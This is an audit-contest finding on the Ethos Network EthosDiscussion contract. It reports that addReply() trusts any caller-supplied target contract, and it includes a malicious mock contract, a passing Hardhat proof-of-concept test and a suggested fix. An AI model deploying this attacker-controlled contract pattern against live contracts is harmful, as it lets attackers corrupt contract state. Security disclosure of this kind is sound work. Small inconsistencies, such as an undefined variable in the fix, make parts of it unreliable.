s0x0mtee - Attacker can add a `reply` even if not registered and can also reply to an `invalid` target by setting the `targetContract` parameter to a mallicious contract where the checks for `targetContract` will be validated.

[sherlock-admin4]

s0x0mtee

Medium

Attacker can add a reply even if not registered and can also reply to an invalid target by setting the targetContract parameter to a mallicious contract where the checks for targetContract will be validated.

Summary

The lack of validation of targetContract parameter in addReply() means the user can pass the address of any contract address to it and this address is then passed down to _checkIfTargetExistsAndAllowed(targetContract, targetId) which is called in addReply()

function _checkIfTargetExistsAndAllowed(address targetContract, uint256 targetId) private view {
    (bool exists, ) = ITargetStatus(targetContract).targetExistsAndAllowedForId(targetId);

    if (!exists) {
      revert TargetNotFound(targetContract, targetId);
    }
  }

Now provided the contract passed into targetContract follows the ITargetStatus interface it will execute successfully, this means the attacker is in complete control of the logic and what the return values will be and can set both return values to true for any targetId including 0 and numbers > replyCount which would cause lots of problems since the EthosDescussion contract's core logic heavily relies on no reply having Id of 0 or greater than replyCount. These replys will not belong to any of the ethos contracts(profile/discussion/attestation) but to the mallicious contract which has been set, hence there will replys with to place for them, and unnecessarily increasing the replyCount and causing so many breaks in the contract's logic

Root Cause

• The target contract argument in addReply isn't checked to make sure it's part of Ethos contracts.

Internal pre-conditions

• isTargetThisContract needs to be false https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosDiscussion.sol#L115
• No checks on targetContract to verify it's part of the Ethos contracts.

External pre-conditions

1. The contract which gets passed as the targetContract needs to follow the ITargetStatus interface

Attack Path

1. Attacker sets a malicious contract as targetContract instead of one of the ethos contracts
2. Attacker calls addReply()
3. Attacker makes sure the contract's return values are true https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosDiscussion.sol#L300

Impact

• Multiple breaks in contract logic.

PoC

//malicious contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "./interfaces/ITargetStatus.sol";

contract MockTargetStatus is ITargetStatus {
    bool private _exists;

    constructor(bool exists) {
        _exists = exists;
    }

    function targetExistsAndAllowedForId(uint256 _targetId) external view override returns (bool exists, bool allowed) {
        return (_exists, _exists); // Assume allowed is always true for simplicity
    }
}

//test

 it("should successfully add a reply when target contract is NOT a valid Ethos address", async () => {
      const { COMMENTER_0, ethosDiscussion, ethosProfile, OWNER } = await loadFixture(deployFixture);

      // Deploy the MockTargetStatus(malicious) contract and capture its address
      const mockTargetStatus = await ethers.deployContract('MockTargetStatus', [true]); // Pass true or false based on your test case
      const mockTargetStatusAddress = await mockTargetStatus.getAddress();

      await ethosProfile.connect(OWNER).inviteAddress(COMMENTER_0.address);
      await ethosProfile.connect(COMMENTER_0).createProfile(1);

      const initialReplyCount = await ethosDiscussion.replyCount();
      console.log("Initial Reply Count:", initialReplyCount.toString());

      const tx = await ethosDiscussion
        .connect(COMMENTER_0)
        .addReply(mockTargetStatusAddress, 100, defaultReplyContent, defaultReplyMetadata);

      // Wait for the transaction to be mined
      await tx.wait();

      const newReplyCount = await ethosDiscussion.replyCount();
      console.log("New Reply Count:", newReplyCount.toString());

      expect(newReplyCount).to.equal(1); 

    });

This test passes

Mitigation

1. Adding a modifier in addReply() such as

 modifier isValidTarget(address targetContract) {
    if (!contractAddressManager.checkIsEthosContract(targetContract)) {
      revert InvalidTargetContract(target);
    }
    _;
  }
//copied from EthosVote.sol